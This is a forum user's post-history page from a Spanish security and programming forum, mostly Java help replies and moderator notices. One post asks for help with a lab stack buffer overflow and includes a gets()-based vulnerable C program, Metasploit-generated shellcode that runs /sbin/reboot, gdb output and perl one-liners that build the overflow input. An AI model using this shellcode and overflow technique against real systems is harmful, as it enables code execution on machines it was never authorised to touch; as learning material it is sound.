elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Mensajes
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 194
11  Programación / Java / Ayuda con un ejercicio. Grabar datos en un fichero secuencial de texto. en: 22 Marzo 2014, 21:31 pm
El mensaje 'Ayuda con un ejercicio. Grabar datos en un fichero secuencial de texto.' fue bloqueado
Considero quela temática ha sido completamente explotada. Para evitar spam, flood y demás cierro el post. Si crees que debería dejarlo abierto, tan solo tienes que decirmelo :) Gracias por tu contribución!
Leer reglas:
http://foro.elhacker.net/reglas
12  Programación / Java / Re: [Java] MD5 Cracker 1.0 en: 22 Marzo 2014, 21:27 pm
Gracias por tu aporte :)
A pesar de que ese errorcillo ha sido un poquito fiu fiu ehh  >:D
Si aceptas una sugerencia, el siguiente paso podría ser que buscase en varios servicios, además de probar con un diccionario especificado, o incluso generar combinaciones alfabéticas.

Saludos :)
13  Seguridad Informática / Bugs y Exploits / Problema, return address buffer overflow (Cómo calcular la dirección del buffer? en: 22 Marzo 2014, 18:16 pm
Buenas a todos, compañeros foreros, estoy trabajando este programa, al cual intento inyectar una shellcode:
Código
  1. #include <stdlib.h>
  2. #include <unistd.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5.  
  6. void premio() {
  7. printf("El flujo de código ha sido modificado.\n");
  8. }
  9.  
  10. int main(int argc, char **argv) {
  11. char buffer[64];
  12. gets(buffer);
  13. }
  14.  

Y genero shellcode con el siguiente comando:

Código:
root@debci-lab:/usr/share/metasploit-framework/tools# msfpayload linux/x86/exec CMD="/sbin/reboot" P
# linux/x86/exec - 48 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/sbin/reboot
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00" .
"\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00" .
"\x57\x53\x89\xe1\xcd\x80";

Y usando el pattern match de msf, me dice que la return address está en un offset de 76 a partir del buffer. Por tanto hago lo siguiente:

[28 NOPS] + [48 PAYLOAD] + [4 RTN ADDRESS]

Para calcular la RTN address, he hecho lo siguiente (la dirección de mi buffer):
Código:
gdb poc
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/testOverflow/poc...done.
(gdb) break main
Breakpoint 1 at 0x8048469: file test.c, line 12.
(gdb) run
Starting program: /root/testOverflow/poc

Breakpoint 1, main (argc=1, argv=0xbffff584) at test.c:12
12 gets(buffer);
(gdb) print &buffer
1 = (char (*)[64]) 0xbffff490
(gdb) quit
A debugging session is active.

Inferior 1 [process 10092] will be killed.

Quit anyway? (y or n) y

Por tanto me queda así el buffer que mando, sabiendo que la address del buffer es 0xbffff490:

Código:
perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00\x57\x53\x89\xe1\xcd\x80". "\x90"x28 . "\x90\xf4\xff\bf"'
Pero solamente obtengo un "Violación del segmento".

Para asegurarme que el buffer está bien calculado en tamaño, hago lo siguiente:
Código:
perl -e 'print "\x90"x28 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00\x57\x53\x89\xe1\xcd\x80" . "\x4c\x84\x04\x08"' | ./poc
El flujo de código ha sido modificado.
Violación de segmento

Sabiendo que la dirección de premio() es 0x0804844c, que he conseguido gracias a objdump.

Qué estoy haciendo mal? Abordando el problema usando la ADDR de premio(), llego a la conclusión de que la dirección de salto es incorrecta o que el payload está mal generado?

Estoy cómo loco y no sé que diablos me pasa...
14  Programación / Java / Problema con Java y Eclipse en: 3 Febrero 2014, 00:45 am
El mensaje 'Problema con Java y Eclipse' fue bloqueado
Usa el buscador y la FAQ del foro!
Leer reglas:
http://foro.elhacker.net/reglas
15  Programación / Java / MOVIDO: JAVA en: 3 Febrero 2014, 00:43 am
El tema ha sido movido a Programación General.

http://foro.elhacker.net/index.php?topic=407586.0
16  Programación / Java / Re: Manual:Aprender a Programar desde 0, empezando con Java en: 1 Enero 2014, 14:16 pm
Muchas gracias por el aporte.

Un saludo!
17  Programación / Java / Re: [JavaFX] VirusTotal Analyzer en: 5 Noviembre 2013, 08:45 am
Genial! Además de útil instructivo.
Mis felicitaciones!

Un saludo
18  Programación / Java / Re: ¿Qué base de datos me conviene utilizar? en: 1 Octubre 2013, 09:29 am
Tienes que hacerlo con un visor específico para SQLite. Yo te recomiendo este:
http://sqlitebrowser.sourceforge.net/

Un saludo ;)
19  Programación / Java / Problema con JLabel con setBackground y setText en: 30 Septiembre 2013, 21:38 pm
El mensaje 'Problema con JLabel con setBackground y setText' fue bloqueado
Thread resuelto.
Leer reglas:
http://foro.elhacker.net/reglas
20  Programación / Java / Re: ¿Qué base de datos me conviene utilizar? en: 30 Septiembre 2013, 21:36 pm
Sin duda, la mejor solución para ti pasa por SQLite o bien Derby, que no requieren un servicio funcional, simplemente llevas contigo un archivo .db que contiene todas las tablas.
He aquí un ejemplo:

http://elblogdejnj.blogspot.com.es/2013/03/sqlite-con-java.html

Cómo ves, tan solo necesitas JDBC, para hacerlo funcionar.

Un saludo!
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 194
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines